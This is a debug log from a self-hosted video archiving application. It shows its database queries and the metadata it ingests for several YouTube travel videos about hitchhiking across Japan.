s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:00.557 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:00.558 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129416] 17:27:00.558 [debug] Current batch of media processed. Will check again in 1000ms 17:27:01.559 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "duration" => 2331, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", "id" => "bjb-24XMa1g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bjb-24XMa1g", "playlist_index" => 7, "timestamp" => 1779466243, "title" => "Travelling Across Japan To Poison Myself", "upload_date" => "20260522"} 17:27:01.560 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:01.560 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:01.561 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 17:27:01.562 [debug] QUERY OK source="media_items" db=0.8ms idle=1002.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "74bb76e4-dcc8-473b-907a-150631178d95", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 00:27:01Z], ~U[2026-08-20 00:27:01Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 17:27:01.562 [debug] QUERY OK source="sources" db=0.2ms idle=55.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:01.563 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:01.563 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105295] 17:27:01.563 [debug] Current batch of media processed. Will check again in 1000ms 17:27:02.564 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2112, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", "id" => "CvIFRZqadIU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CvIFRZqadIU", "playlist_index" => 8, "timestamp" => 1777040983, "title" => "Japan Is Losing Something It Can Never Get Back", "upload_date" => "20260424"} 17:27:02.565 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:02.565 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:02.566 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 17:27:02.568 [debug] QUERY OK source="media_items" db=1.2ms idle=1003.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "eee3152d-dcc1-496e-a989-59d79980454b", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 00:27:02Z], ~U[2026-08-20 00:27:02Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 17:27:02.568 [debug] QUERY OK source="sources" db=0.2ms idle=58.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:02.568 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:02.569 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18983] 17:27:02.569 [debug] Current batch of media processed. Will check again in 1000ms 17:27:03.570 [debug] Current batch of media processed. Will check again in 1000ms 17:27:04.571 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2747, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", "id" => "zrYwOAJrViI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zrYwOAJrViI", "playlist_index" => 9, "timestamp" => 1775837543, "title" => "The Japan The Algorithm Is Hiding From You", "upload_date" => "20260410"} 17:27:04.572 [debug] QUERY OK source="sources" db=0.2ms idle=288.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:04.572 [debug] QUERY OK source="sources" db=0.1ms idle=289.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:04.573 [debug] QUERY OK source="media_items" db=0.2ms idle=289.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 17:27:04.574 [debug] QUERY OK source="media_items" db=1.0ms idle=289.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "ce68d2a1-4ab3-416e-8a2d-a7d822f462df", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 00:27:04Z], ~U[2026-08-20 00:27:04Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 17:27:04.575 [debug] QUERY OK source="sources" db=0.2ms idle=62.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:04.575 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", 